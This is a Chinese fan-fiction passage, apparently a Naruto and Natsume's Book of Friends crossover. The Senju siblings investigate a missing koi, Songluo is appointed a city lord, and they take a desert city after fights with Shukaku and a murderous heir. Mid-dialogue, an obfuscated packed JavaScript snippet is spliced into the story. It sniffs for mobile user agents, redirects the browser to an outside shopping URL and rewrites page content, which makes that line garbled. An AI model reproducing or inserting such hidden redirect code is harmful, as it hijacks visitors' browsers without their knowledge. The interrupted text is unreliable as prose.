发财是她给锦鲤取的名字。 走廊上,惺忪着眼的千手扉间打着哈欠正好走过,一边嘴里还嘀咕:“奇怪,我的书怎么少了两本。” 晨跑完毕的柱间推开大门回来了,背上还绑着猫咪老师,那是他的“负重”。 “快放我下来!魔鬼!混账!” “还不是你跑不动了我才背你的。” 猫咪老师自从去斑那里住了两天,体重直线上升,突发奇想跟着柱间去绕山晨跑,结果还没出族地就已经瘫倒在地。之后全程都是在柱间背上度过的。 柱间一边解绳子一边往鱼缸走,却看到松萝举止怪异,一会儿掀荷叶,一会儿伸手搅水。 “没有了!我的发财!没有了!” “什么!”柱间听闻,手上动作一停,冲到鱼缸边,伸长脖子往里看。 扉间也慢慢踱步过来,眼神锐利:“锦鲤失踪事件。需要调查。” 当事人一松萝·锦鲤的主人提供了以下事实证言: “昨天晚上我吧小金鱼放进去的时候还在的呀,我还叮嘱他们要好好相处呢!” 嫌疑人一号千手柱间澄清自己: “我虽然是最早起来的人,但是我没有碰过鱼缸呀。我一早起来就看到猫咪老师在扭健身操,就带上它去晨跑了。” 嫌疑人二号千手扉间刚起床,略过。 嫌疑人三号猫咪老师跳出来指证: “你撒谎!我早上看到你进那个白毛小子的房间了……唔唔唔唔” 松萝和柱间大惊,齐齐伸手捂住他的嘴巴。 白毛小子眼睛一眯,发现了新的案情。 “到我房间做什么了?老实交代!坦白从宽,抗拒从严。” “嘿嘿,”松萝傻笑两下,“就是借一下,《宇智波密闻之族长夫人带球跑》借一下看看,看完就还。” 昨天大哥跟她讲了那个上上代宇智波族长和他弟弟争风吃醋的那个故事之后,她就一直念念不忘。甚至晚上都睡不着觉,才半夜跟柱间商量把那两册野史“运”出来。 她实诚地报出了全名,白毛始料未及。 他涨红了脸,不知所措地动了动嘴,最终什么都没说,重哼一声,跑去找书了。 剩下两人一猫原地面面相觑。 调查的主持人都走了,那他们还怎么找嫌疑人啊。 “走,先吃早饭去,跑了两圈我都饿死了。” 松萝点头应和,天大地大吃饭最大。 唯有猫咪老师扭扭身子,终于从绳子里挣脱出来:“我不去了,早上吃太撑了。” 松萝:“你吃什么了怎么就撑了???” 柱间拍拍她的肩:“华松,你发现了盲点。” 杀猪般的猫叫在族长院子里响起,左邻右舍无奈地摇摇头:又开始了。 * 上午料理完猫咪老师,下午松萝将家里的未成年人聚集到一起,宣布事情: “咳咳我要宣布一件很严肃的事情!” “那边那位千手柱间,请把你抱在脑后的双手放下!也不学学旁边的榜样。” 被点名的少年撅了撅嘴,斜眼瞥了一眼旁边跪坐着的笔直的身影,不满地哼了一声,然后不情不愿地坐直了身子。 松萝满意点头,从背后掏出一个长筒状物体,右手托举在半空。 这是一个金色的丝绸卷轴,中轴用的是乌沉的犀牛角,卷面是纹绣的高级的绢丝制成,用一小段丝带绑住,封口处还有红色的印子。 两人的目光立刻就被吸引住了。 这样的制式并不多见,哪怕是见多识广的千手扉间也未曾见过,只是……这与他曾经听闻的重要文书的用料极为相似,不由得心中一紧,更加专注地看着那件物品。 “明天,我要在禺黎城举行我的城主继任仪式。” 扉间、柱间:好小众的文字,他怎么听不懂?这是什么角色扮演吗? 扉间突然想到什么似的,拿走她托举在右手的卷轴打开一看。 【致禺黎城诸士民: 近闻xx不幸,遭逢厄运,实为痛心之事。其一生勤勉,效忠于吾二十载,勇猛无畏,屡建功勋。 鉴于此情势,吾决定由松萝继任城主之位。松萝贤良,素有才干,虽年少但深孚众望。 望尔等同心协力,辅佐新城主,保卫吾之领土。 弘化年九月二十日 毛利信玄(印)】 他翻来覆去,特别是盯着朱印,检查了十多遍,竟然找不到一丝造假的可能。这竟然是真正的盖着大名印信的任命文书! 他的手颤抖起来:“这是怎么回事! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735040|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗷,大名给的。” 终于意识到不对的柱间也站了起来,盯着那朱印和署名不敢置信。 松萝给他们把事情发展过程顺了一遍:“我在解救无差别失踪的人时,发现了禺黎城城主的尸体。将姬君送到都城后,我就带着这个消息去见大名啦,还有这个城主印章。” 她把印章递给两人,继续说:“以下省略,最后他就答应封我为城主啦。” 扉间检查完印章,用指节抵住太阳穴吼道:“不要省略最重要的部分啊!” 松萝吐了吐舌头,一脸这可是你们让我说的,别后悔的样子:“就是帮他治了点小病。大名不是无子无女吗……” 柱间:!!! 他立刻化出三个木分身,守在门边防止有人经过,本体上前捂住了她爆大料的嘴。 而另一个人已经石化了。 他刚刚好像听到了什么会被封口的消息呢。 大名无子之病……松萝是城主……大哥的好友是宇智波……呵呵,这个世界坏掉了吧…… 松萝还在继续交代:“你们在打仗的时候我已经去过啦,反对我的都被我关起来了嘿嘿。反正最近你们也有空,我打算明天带你们去转转。” 继任仪式什么的,都是她随口说说的啦。 把反对她的人都关起来之后,城堡里还在干活的就只剩十个人了。 至于在城堡周围的那些住户、商户,只要不把他们赶出去,他们才不在意城主是男是女,是高是矮呢。 少年对视一眼,均从对方眼睛里看到了疲惫。 ——松萝啊松萝,你还有多少惊喜是我们不知道的? * 事实证明,她给的惊喜从来没停过。 宽敞宏伟的大殿,高踞于上的主座,侍立在一旁的白发少年,她声音悠扬:“这是我的守护忍,辉夜出云。” 地位尊贵的人为了自身的安全,会利用自己的名望招揽忍者,让他们“守护”自己。再行正式的叩礼后,便是“守护忍”了。 百年前,火之国盛极一时,大名的守护忍曾达二十之数,邻国皆以火为尊。 但是,你一个忍者怎么连守护忍都搞出来了? 扉间和柱间已经不会摆表情了,皮笑肉不笑地跟这位“辉夜出云”打了声招呼。 甚至还是那个神秘的辉夜一族,听说哪怕在辉夜老乡的水之国,他们也是非常神秘的一族,不轻易出来做任务。 世人对辉夜所知甚少,唯有血继限界“尸骨蚀”的大名广为流传。 柱间想起她在祠堂里给自己展示过的白色骨匕,内心冒出一个荒唐的猜测: ——这位辉夜出云该不会是珍贵的血继限界拥有者吧? 明明只是打了两个月的仗,妹妹的世界却好像前进了两百年。 昨天说要当城主,今天已经是城主了。这搞事的速度谁比得上啊。 看到他们这样子,松萝也有点不好意思。她也不想吓着哥哥们的,但是…… “嘿嘿。”她憨笑一声。 两人身体一抖,总觉得接下来没好话。 “我打算把风之国的章之城变成我的。” 章之城权力最大的那个三十九岁的城主,是堇姬的成婚对象。 15. 章之城(2)(一更) “你们真的不觉得,就靠我们三个人去拿下邻国的一座城池什么的,像是自杀行为吗?” 两个黑脑袋齐刷刷地转了过来,嘴里皆叼着水袋,吸一口,袋子就因空气压力瘪了一些。 这里是沙漠,沙丘连绵起伏,空中扬着黄色的沙粒,视野也被悬浮的颗粒阻隔,远处的建筑像被烤焦一样扭曲成童话般的线条。 他们所在的地方是一个完美的避风所。中空的巨型岩石,正好拦住黄沙和尘土,留下水汽和阴影。 他们刚才正站在一颗石头上远眺,估算离目的地还有多少脚程。 “你,你,我,三个加起来连四十岁都没有的人,再加一只猫,”刚才那个声音又开始说话了,他瞥了眼地上摊成一张的猫饼,勉强把他加在队伍中,继续说,“在陌生的沙漠,去攻击一个在这里伫立了成百上千年的古老绿洲?” 松萝伸手,接住因张嘴而掉落的储水袋,点头:“确实是自杀行为,我都渴到快蒸发了。” 对方看向朝自己递来的储水袋,冷脸接过,一边将查克拉转换成水注入,一边回想进沙漠之前的讨论。 按他们的计划,入城之后有以下两种方案: 一、叉掉反抗人士。但是万一都是反抗的,以后就没人干活了。所以这个方案被他驳回了。 二、利诱。沙漠里最缺什么?水源和绿植。巧的是,他们有两个擅长木遁,一个擅长水遁。 这建在绿洲上的土地也有五百多年了,原本的树木、湖泊都已经消失了。 按松萝的想法,就是用“打造新绿洲”来诱惑他们。 但是,就算把他们的查克拉榨干也不可能建起一个绿洲,自然不是那么好违背的。 偏偏松萝信誓旦旦说没问题,并且兴致勃勃。不高兴的他和没头脑的大哥便也跟着来了。 实在是害怕一个没看住,又给他整出点“惊喜”来。 终于给松萝灌满水,三人讨论了一番,想赶在夜里气温骤降前入城,就必须赶紧出发了。 “走啦,猫咪老师。” 柱间走上前,熟练地捡起瘫软的猫咪,绑在背后,还发表了锐评:“又变轻啦。” 猫咪老师气得四肢乱舞:“我都要晒成猫干了!都是你,用小鱼干骗我出门!” 扉间带上兜帽,挡住脸,路过他们身边,本着操不完心提醒:“省点力气吧。路还长。” * 抵达章之城的时候,正好是日夜交替,气温最舒适的时候。 跟四季分明,气候湿润的火之国不同,风之国百分之九十的领土都是沙漠。白日温高如蒸炉,夜晚苦寒似冰窖。 三人一猫都是第一次来沙漠,随便接了一个时限长的寻物任务就顺理成章从族里出来了。 城门口有两个守卫,裹着白色的头巾,脸色像是要融入风沙一样黄,总感觉有些营养不良。 千手扉间上前,还没拿出他准备好的行商说辞,就被问: “外面来的?” “是的,我们是……” 守卫手上的长枪一横,对准三人一猫:“抓起来!” …… 出师未捷先坐牢,没人明白这是怎么回事。他们甚至连一句话都没说完,就被关进了地牢。 好歹他们是被关在一起的。 柱间拉了拉木头做的地牢门,哐当哐当的声音响得出奇,再不控制点力道木门就要被他整个卸下来了,嘴里还嘀咕:“风之国,原来有这么排外吗?” “很显然,是出事了。” 松萝:“啊?” “一路走来你们都没注意看么?”他们是被一路押解到城中心的牢房的,几乎路过了半个城池。 扉间盘腿坐在草垛上,深沉地作出推理:“路人几乎没有什么闲逛的人,只有运货的士郎和带兵的城守卫,店铺也都关着。每个人都面黄肌瘦,嘴唇干裂,像是没吃没喝好几天了。这里又是沙漠,我猜,是他们的水源出了问题。” “并且持续了一阵子了,找不到凶手也找不到解决办法,因此对所有的外来人员都采取了最严格的措施。” 话音刚落,斜对面的牢房传来重重的两下鼓掌声。 那是一个红发的少年,长长的刘海,几乎挡住了右半张脸,让人看不清面容。 他穿的是沙漠居民最常见的白色长袍,只是看着已经旧的泛黄了。 “你们几个外来人还挺聪明的嘛。” “你是谁?” 他用食指撩起刘海,头往后一甩,得意地说:“我,是城主的三儿子,影枫。” 松萝立时哇了一声,转头小声说:“糟糕,我们来迟了,已经有人先’造反‘了!城主的儿子都被关进来了!” 千手扉间:“……他那样子,看着不像是因为造反进来的。” 影枫还在那边摆弄他的头发,手指卷啊卷的,要是给他一个镜子,他指定能摸着刘海玩上一整天。 松萝重新打量一遍红发少年,忽然赞同起了扉间的说法。 这时,有人进来了。 两个武士一样的人拥着衣着光鲜的男人走到了红发少年的牢房前。 男人趾高气昂地指挥武士打开门,二话不说就朝少年的脸打去。 少年的身体不由自主地后仰,眼中充满了惊惧,一言不发。 男人脸上露出一丝满意的笑容,提起少年的衣领,当面又是几拳。 松开衣领将他推倒在地,复又脚踢了起来。似乎是还嫌不够,挥手让两个武士也一起加入殴打。 少年全程不哼一声,就像是无人观赏的默剧。 “你们不救人吗?”猫咪老师抬起前爪,趴着往外看。 柱间脸上闪过一丝不忍,但是说出来的话却跟表情不符:“他给我的感觉不太舒服。” 扉间一直都是谨慎派,自那男人进来前他就在观察他的腰间:“他挂着的是城主府的腰牌,看看情况再说。” 松萝摸摸下巴,沉吟一会儿:“嗯……他看上去还挺享受的啊。” 猫咪老师:?? “一般人被打的时候,尤其是从上而下的攻击,总会 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一人扶起少年,边惊叹“怎么流了这么多血啊我好心疼哥哥”边往他嘴里塞草;一人“愤怒”地挥舞拳头,为他打抱不平的同时问出真实目的——“什么人为什么要打你啊,怪物是什么呀”;一人长吁短叹,暗示己方只是被误抓的无辜旅客并无恶意,并表明相信“怪物”与他无关,借此拉近关系。 分工合作,嘘寒问暖一件不落。 猫咪老师看着“作戏”的三人内心吐槽:……刚刚还说人是变态,现在发现有利用价值了又翻脸,真有你们的。 “你们……怎么从牢里出来的,不对,你们能出来的话刚刚为什么不来帮我?” 三人动作一僵,猫咪老师跳到千手柱间的脑袋上,狂笑:“哈哈哈,被戳穿了吧!” 松萝也不“心疼哥哥”了,扶着他的手一松,影枫毫无准备之下,哐的一声的脑袋砸到地上,疼得他龇牙咧嘴。 “你!” 他捂住后脑勺,刚要质问,就看到长发在空中散舞,犹如失控的游蛇一般扭曲,少女面容冰冷,丝毫没有刚才的温柔可亲,她的背后,五根粗大的绿色触手缓缓伸出,直指他的脑门。 近距离之下,他看到触手上有白色的疙瘩,一个叠一个,成群结队般抱在一起,仿佛一群抱团蠕动的白蚁。触手表面不时地起伏、伸缩,就像是有着自己的心脏,在不停地跳动,每一次脉动都似乎在空气中传递着令人毛骨悚然的震颤。 少女嘴巴开合,正要开口。 “我说!我什么都说! “我叫影枫,是城主的大儿子,刚刚那人是我大哥。我是庶出,我母亲是身份低下的忍者所以他们都看不起我,经常打我。 “怪物是突然出现的,堵在了前往最重要的地下水的深井的路。我把我知道的都说了,不要杀我啊啊!” 演员组·松萝收回触手,氛围组·柱间停止在她背后扇风吹头发,善后组·扉间出手将影枫吉晕,三人得意地看向猫咪老师:被戳穿又怎样,这不就解决了? 16. 章之城(3)(二更) 建在沙漠里的国家的水源有三,一是挖掘地下水,二是储集降水,三是中水回用。 章之城大部分的水源来自于地下的蓄水池,远处高山的融雪和地下水通过坎儿井引进蓄水池城中均匀分布有十几处竖井,地下的水通过暗渠汇入竖井。 但是作为最大的水源的竖井已经干涸近一个月了。 而干涸的原因是“怪物”的出现。怪物身形巨大,呈土黄色,横身拦在总渠之中,导致没有水流入竖井。 城主派了几波人查探清楚原因后,曾发出任务雇佣忍者赶走怪物,但所有见到怪物模样的人,皆屁滚尿流地逃走了,无一例外。 “以上就是我们打探到的消息了。” 松萝竖起一个大拇指,为他们收集情报的能力点赞。不像她,半日过去了,只听了一些城主家的八卦。 “城主有三任夫人,马上就要娶第四任了,也就是右大臣的女儿堇姬君。其中只有第二任夫人是个忍者,其他都是贵族,影枫就是她的孩子。听说这里的人很瞧不起影枫,因为他母亲不但身份最低,好像还有点疯疯癫癫的。他上头的大哥经常打他,城主都是睁一只眼闭一只眼。” 疯子的儿子,从小受尽了冷眼和欺压也没人管。 “倒是挺可怜的……早知道当时在地牢就早点帮他了。”柱间到底心软,开始谴责起了自身。 信息交换完毕,扉间拍板:“过去的事多想也无用,我们去地下会会那个怪物。” * 他们跳入一个竖井,沿着地下洞摸索。 初时洞壁还是干燥的,渐渐地有水汽出现,地上也出现了水洼。看样子是快要到水被拦住的地方——也就是那个怪物所在之处了。 柱间抬手示意其他人停下脚步,他先去探一探路。 “等一等。”猫咪老师拉住他的头发,喊道,“这前面有个大家伙,你不是对手。我去。” 柱间以为猫咪老师只是一只好吃懒做的忍猫,担心他的安危又不忍心戳穿:“还是我去吧。” 说完脑门就被一个软乎乎的东西踢了一脚,头上的生物已经落在地上,回首舔着爪子,淡然留下一句“小鬼还是等着吧”。 连猫咪老师都说是大家伙,那看来是真的不好惹啊……千手松萝抱住大哥往后倒的身子,对地洞深处产生了好奇。 * 过了好一会儿,黑黢黢的地洞深处一点动静也没有。松萝三人讨论了一下,正准备一起进去的时候,熟悉的三花猫出现在了视野中。 跟去时的淡定从容不同,他全身炸毛,尾巴竖直,四肢的毛湿透了,还沾上了不少黄沙。 猫咪老师直冲冲地朝他们……路过了他们往外跑去,到还不忘提醒: “快跑!” 不明所以的三人跟着跑了起来。 “发生什么事了?我什么要跑啊?” “里面有只睡大觉的狸猫。我把它吵醒了。他一醒来就喊着‘饭呢——我要吃饭——’,我跟他说没有饭吃,他就突然暴走了。” “……就这?”进去了这么久,就只发生了这么点事情?还有狸猫暴走而已,他们有必要逃跑吗? 很快他们就知道了,身后黄沙凝聚的巨手出现,追逐在他们身后,蓝紫色的火焰般的咒印附在巨手之上,看上去威力巨大,一下就能将人拍成肉泥。 震耳欲聋的吼叫声延迟到来:“谁——别想跑——” 这吼叫…… 松萝问猫咪老师:“‘这什么狸猫啊,叫声这么大?”该不会本体特别大一只吧? 他们一路跑到来时的井下,顺着梯子爬上去。还未歇口气,就被尖锐的武器袭击了。扉间动作快,格挡开了武器,顺手卸了袭击人的右胳膊。 最后的柱间爬上来的时候,发现两人一猫立在原地:“怎么不跑了,那个巨手马上就要追上来了……这是怎么回事……” 昏暗的月色之下,金铁交鸣,人影交错。 一批人穿着统一的黑色盔甲,是城中的士兵,另一批人穿着各异,却武器精良,各个凶狠异常。 陆陆续续有穿着各异的人从干涸的竖井爬出来,抄着武器加入战局。 被扉间卸了胳膊的人还躺在地上打滚——是穿着盔甲的守卫。 怪不得刚刚袭击他们,是将他们当成跟那群从井里爬出来的人一样的“造反者”了吧。 细细的流沙从井里钻出来,还是猫咪老师反应最快,蹬向柱间的背部,让他免于黄沙的袭击。 “它要追上来了,先离开这里!” 越来越多的带着蓝紫色咒印的黄沙从井里流出来,最后变成喷涌而出,形成几米高的喷泉瀑布。所有的黄沙像有生命一样流动,汇聚到一起。 看到这一幕的人打架都顾不得,都向四周奔逃而去。 黄沙以极快的速度团结凝聚,初时是圆圆的球,然后长出了一条满是倒刺的大尾巴,再有爪子、脚,往上是尖利的牙齿,星星状的黄色眼睛周围一圈黑色。它的全身散布着介于蓝黑色和蓝紫色之间的风神咒印,细细长长、密密麻麻,看一眼就让人心生恐惧。它嘴巴大张,喉间迸发出尖锐的嘶吼: “可恶的狸猫——躲到哪里去了——” 跑到一半的松萝想起来,猫咪老师虽然本体是狗妖,当他幻化出来的圆嘟嘟的三花猫的样子经常被不熟悉的人误认为是狸猫。 “老师,他在喊的人该不会是你吧?” 猫咪老师急驰的身影慌乱了一下,撇嘴小声说:“怎么、怎么可能。” 松萝:“……你是对它做了什么啊!!” ——不过就是踢了他的屁股并且嘲笑他是个大胖子而已嘛。 这样的话他是绝对不会告诉松萝的。 但是松萝没有放过他,抓住他的两爪,眯眼对视。果然猫咪老师心虚地移开了双眼。松萝冷哼一声,接着露出大大的灿烂笑容,将猫咪老师往黄沙怪物身上扔去: “反正都是狸猫,你们就好好交流一下吧!” 炮弹一样在空中飞的三花猫无措地舞着爪子,眼看就要 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守鹤一消失,刚刚跑得没影的人又都冒了出来,举着武器再次冲撞在了一起。这下终于有了闲情逸致的松萝抓到一个熟悉的面孔——将他们关进地牢的城门口守卫——向他“友好”询问现在的情况。 “有人造反了!水源出问题的事情也是他们搞的!这一个月就躲在暗渠,就等着今夜偷袭!” “嗯嗯,这些我们都看出来了,其他情报呢?” “不……不知道了……” ……要你何用! 白发少年早知问这种小喽啰没有用,已经四处环顾了起来。 “找到了。” 城主府的方向。既然要造反,那最大的舞台肯定是城主府啊。 * 如他们所料,最早发生“叛乱”的应该是在城主府。这里已经没有了兵器相交的打击声,只有满地的尸体。 许是沙漠的夜晚太冷了,松萝感到丝丝凉意侵入内心。 “不要杀我!求求你了!” 安静的府中,唯有一处传来声音。沙哑的哭腔引着三人到了主殿。 昏暗的殿内唯有两盏烛火,映出高高抬起又狠狠扎下的黑影,飞溅的液体覆盖在阴影上,顺着墙壁的纹路流下来。 白色的沙漠长袍已经染成了红褐色,还在滴滴答答地往下滴落液体。 红发少年粗犷地将五指从前往后插入发缝,梳成大背头,露出棱角分明的脸廓和一蓝一黄双色异瞳。他的左眼湛蓝如深邃的海洋,右眼金黄似炽热的烈日,目光中透露出不驯的光芒。下巴微微抬起,眼神朝下,冷峻地俯视倒在他脚边的同父异母的大哥,嘴角勾起轻蔑的笑容。 殿内再也没有了其他声音,唯一的哭腔也消失了。 红发少年将手中的小刀抛向空中,一下又一下。 忽然眼神转向进殿的三人,小刀直冲当中的千手松萝而去: “又见面了,聪明的异乡人们。” 17. 章之城(4) 纤细的两根手指夹住飞来的刀片,这小刀细长而锋利,黑色的表面似乎要融入夜色。正要礼尚往来,将小刀还给原主人的时候,松萝感到手指一痛,血珠汩汩,小刀已经重新回到影枫的手中,一上一下地抛着。 她捂住伤口,重新看向红发少年的目光带上了些敌意。 “我倒是很好奇,这个时候怎么会有外乡人来这里?” 入春的三四月和入秋的八九月的时候气温变化幅度大,风沙活动最是剧烈,有经验的旅行商人不会选择在这个时候进沙漠。 “所以我想,你们应该是接了任务的忍者吧。” 答对了一半。 “不过我也不在乎这些。”他往外走了几步,抬头正好能看到夜空,“今天的满月很美吧,这么纯洁的夜晚我还是第一次见到。” 千手三小只随着他的移动后退了几步,松萝气呼呼地翻了个白眼,嘀咕:“神神叨叨的,自说自话,这难道就是领导者的基本素养?” 抱怨归抱怨,她最终还是上前一步,正色道:“影枫,你如果不想你弑父杀兄的事情传出去的话,就乖乖听话把章之城交给我吧。” 扉间听完眼前一黑,这说话艺术从哪里学来的,活脱脱的女土匪。早知道他应该蒙面的,总感觉好丢人。 “哦?原来你们打的是这个主意?”影枫的眼神在他们三人身上来回打量,意思是就你们三个人? “好啊,如果你们能打赢我的话。” 松萝一喜,兴奋地去摸她的武器:“真的?” 发现她这么好骗的扉间眼前又是一黑,不过却是最先冲上去的:“不管他说的是不是真的,不打赢他,我们怕是别想安全离开这里!” 像是回应他的冲锋,影枫的身周出现了一圈银白色的小刀,跟刚刚掷向松萝的是同一种。小刀像有生命一样悬浮在半空,一个接一个向三人的要害飞去。 柱间心想今日扉间怎么这么冲动,赶忙用土阵壁掩护己方。 土阵壁上立刻扎了一排小刀,影枫手一招,那排小刀又重新回到了他的身边。 此时扉间已经先一步将距离缩小到攻击能及的范围。 水遁·水龙弹。 强烈的水流冲击之下,小刀们被冲散,落了一地,仔细看还能发现被月光反射,若隐若现的银色丝线。 白发少年双手抱胸,面无表情地评价:“不过是傀儡之术,要化解起来并不难。” 啦啦队的松萝立刻上线:“哇哇!二哥好厉害!” 他得意回头,想瞥一眼啦啦队的表情。却发现少女一脸惊恐朝他奔来,嘴巴一张一合,像是在喊些什么,但是他什么也没听见。 ——不、要,不要什么? “不要!住手!” 他张口,想让她喊大声点,却吐出一滩血来。胸口好热,像是烧起来一样。他的眼睛好像也出了问题,怎么人影多出了十几个…… 几秒之前—— 发现扉间向空无一人的角落放水龙弹的时候,柱间就意识到了不对:“不好,他中幻术了!” 此时,影枫正好收回小刀,两臂交叠,细长的手指在空中弹奏起了乐章,银色小刀排成小队,有节奏地接连刺入千手扉间的身体。 他眉目低垂,手指翻飞,忽然弯腰从嘴里吐出一个红色的火球,裹挟着热浪和气流,直直地穿过了白发少年的胸口。 只在一瞬之间。 柱间匆忙制造的土流壁尽数瓦解,他和松萝目眦欲裂地冲出去。 影枫在远处一扯,插满刀子的扉间就像一只风筝一样上了半空,然后在到达最高处时失去了那条牵引的绳子,重重的摔向了地面。 “扉间!!” 松萝看着扉间从高空落下,眼前的一帧帧一幕幕被无限拉长,明明脚下飞奔的步伐确确实实在朝他而去,她却觉得自己似乎越跑越远。 四周越来越安静,她什么也听不到,伸出的手掌好像已经隔空摸到了他的衣角,然而下一秒翩跹的衣角从稀疏的五指间穿过,消失在视线。 移开遮挡视线的手掌,她看到倒在地面的扉间,汩汩的鲜血从他身后流出,浸染了银白的发丝,他的脸还是那么白,唇还是那么薄,却跟平常会损她会骂她会教育她会心疼她的唇不一样,一个会动,一个不会动。 她终于跑到了他身边,却不敢抱他。 只敢轻轻地叫他,像叫一个睡着的人起床一样。 “扉间,扉间,你醒醒……呜呜呜扉间你醒醒啊……” 松萝怕极了,她从来没觉得死亡是一件这么可怕的事情,就算以前在战场上见过冰冷的尸体和歇斯底里的亡者家属,她只感到遗憾。 一条温热的生命在自己手中慢慢丧失温度的恐惧,攫住了松萝的心,让她近乎无法呼吸。 冷静,她对自己说。 压出抽泣的声音,稳住颤抖的手,感受体内血液的倒流,她的掌心逐渐凝聚出一片红色的叶子,放到了扉间的嘴边。 “你别吓我,我回去一定好好看族内的书,我会把它们全部背下来的,你要监督我,扉间……” 偏在此时,“扑哧”的利器入体声又硬生生地挤入了她的耳朵。 那么细微又那么响亮。 松萝转头,看到倒在不远处的人,他似乎被折了一只手,努力想要碰到一起结印却始终抬不起来,趴在地上仰头看着这边,刺眼的刀光就要靠近他的后脑…… 松萝脑子里的紧绷的弦突然就断了。 杀了他。 汹涌的杀意如潮水般升起,在抵达顶端的时候停住。时间在这一刻凝固,温度骤然下降,呼吸间哈出白气。 松萝的身后升起一道墨绿色的的木墙,宛如从大地深处生长而出的古老屏障。木墙上缓缓流淌着淡淡的绿光,光晕中凸显出无数形色各异的脸庞。缓缓流淌的木墙中凸显出无数形色各异的脸来,有恨有妒有求饶有愤怒,唯有一张脸上的眼睛清亮没有情绪,像最纯洁的黑曜石。 松萝收回放在扉间额头的手,站起来,任由心底的黑暗叫嚣、滋生、蔓延,吞吃掉残余的理智。 她站在那儿,逆着月光,背后应当是极为光亮的。 影枫却只看到了黑暗,无论身前身后,她被一团黑暗笼罩,那不是幻觉,一层薄薄的黑雾一样的东西拱在她身侧,像流动的薄膜附在身周。 只是一眨眼,周围的地形已经与之前全然不同。 取而代之的,是一片茂密的巨木森林,每棵树都有几百米高,树干看着除了粗没有寻常之处,裸露的树根却是红色的,像长期泡在血罐里。 唯有松萝身后的一棵树与众不同,它的根、茎是黑色的,叶却是发光的白色。 粗壮的树根从地面拔起,像游龙一般带起飓风和利刃,毫不留情地拍打在还没反应过来的影枫身上。 在巨树的包围下,他显得格外娇小,小刀被他舞得空气猎猎作响,火球喷出一个又一个,可是,击碎越多聚拢地更多。 头顶的月光逐渐被遮住,他无能为力地任树根从四面八方接近。 先是脖子被一根粗壮的藤条圈实,再是手脚被捆住,他引以为豪的小刀齐齐落地,失去了控制。 “……”他无声地看向天空,向着最后一丝月光伸出手。 松萝陷入了一种很奇妙的状态, 在看到扉间和柱间被重伤的时候,她有一瞬间失去了意识,回过神来只剩下想要搅碎和破坏四周的冲动。 与此同时,她又感觉自己充满了力量。只是一个念头,四周的土地里就有无数植物回应她,钻出地面,冲倒石墙,视线所及之处转瞬间便成了一个巨木森林。 透过充血的眼睛,她看到无尽的巨木朝影枫涌去,看到他的挣扎反抗,看到他最后被团在巨木裹成的大圆球里一动不动。 真是美妙的力量。 她有些沉浸于此。 巨木还在生长,森林越扩越大,她好像听到了远处传来的惊叫又好像只是自己的幻听。 她的内心好像被分成了两半,一半在劝她停手先去看一下伤员,一半在说杀掉,把靠近的所有东西都摧毁… “可以了。”清亮的声音从背后传来,清亮的与这个疯狂的场景不符。 松萝转身。 那人比她高半个头,眉眼弯弯,笑容爽朗。 松萝心想:这人我认得的。 可是又有另一个声音在说:把靠近的人杀掉,全部清除掉。 她不受控制地抬起手,瞬间就有几十条枝桠冲来,尖尖的枝梢对准了少年。 只消再稍稍前进一点点,就能扎破他的后颈。 一秒、两秒、三秒过去了,枝桠定在了半空一动不动。 她被人抱了个满怀抱住了,大手抚摸着她的脑袋,按在温暖的颈间。 “没事了,松萝。” 低沉、柔和、轻缓,就像一句催眠语,轻轻地在耳边绽放。 她突然就失去了所有力气,倒了下去。 * 影枫随母姓,原名茂林枫,但是自他八岁母亲死后,他就自己改名成了影枫。 他母亲在的时候,虽然少不了闲言碎语,但却没人敢动手。那是因为他的母亲是一名忍者,一名能“使唤”尾兽的忍者。 不过那只是不知道的人的误解罢了,只有他知道真相——茂林杏是一个非常温柔的医疗忍者,善待世间万物也包括尾兽。 在被守鹤的一时兴起的救命之恩之后,杏几乎每天都会带上自己做的吃食去找守鹤,开始是为了感谢后来就变成了日常。 “守鹤也像是个小孩子呢。” 母亲这么 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他被平放在地上,身边,缩小版的土黄色狸猫和一只三花猫在互相追逐,前者时不时吐出几个小飓风,被后者陡然放大的爪子一爪拍散。 黑发少年站在离他一米远的地方,拍着少女的肩,劝解着什么。少女原本就不开心地低着头,因此是第一个发现他的动静的: “啊!他醒了!” 影枫撑着地面坐起来,全身轻松得不可思议,之前的打斗好像是不存在的一样。 跟在地牢里一样,那个时候他好像是被喂下了什么东西。 他的眼神隐晦地从少女转到黑发少年,以及完好无损抱臂在旁冷冷注视着他的白发少年,不发一语。 少女拿出一张纸扔到他脸上:“醒了就把这个签了。” 他拿起一看,是一封任务书,任务内容是他茂林影枫雇佣千手推翻章之城的暴政,雇佣金十万金,最末尾有一片留白。 他什么也没问,什么也没说,咬破手指写下了自己的名字。 扉间收回任务书,松了一口气。 前半夜松萝弄出来的动静太大,想不被人注意到都难。沙漠中突然出现的森林,几乎是指名道姓地在说是千手干的了。 有了这个,至少不用被追责随意踏入他国并且改变生态的行为了。 见他还算配合,松萝终于有了点好颜色,抬抬下巴问:“任务金呢?” “十万金?”影枫笑了一下,这可不是他们一座小小的城池能拿得出来的金额。 一个小卷轴被扔到他怀里,他看见上面的内容愣了一下,很快在最后署下了自己的名字。 写下最后一笔的时候,守鹤正好跳到他脑袋上,三花猫对着卷轴一踩,借力往上跳。松萝见状立刻从影枫手里拿过卷轴,宝贝地护在怀里,怒视三花猫:“老师!你小心一点!这可是重要的卖身……” 意识到自己说错了话,她立刻改口:“雇佣合同!五十年呢!弄坏了他不认账怎么办!” “什么东西?”猫咪老师跳到她头上,就着她的视角看刚刚影枫书写的地方,“名字?你也要弄友人帐吗?” “友人帐是什么?” “……” “听上去不错的样子……”松萝的视线转向追着他们的一尾,声音突然夹了起来,“守鹤鹤~要不要跟我当朋友啊~~我们来做友人帐吧~~” 签完两个名字后就被扔在一边的影枫:…… 他是不是还是太草率了? 带着能够制服尾兽的宠物,本身又出自大族,有着深不可测的力量和疑似超高的医疗忍术,他应该没跟错人吧? * 千手三人回去已是半月之后。 他们帮忙将城中秩序恢复到了正常,安置了伤员才离开。离开的时候带走了一尾。 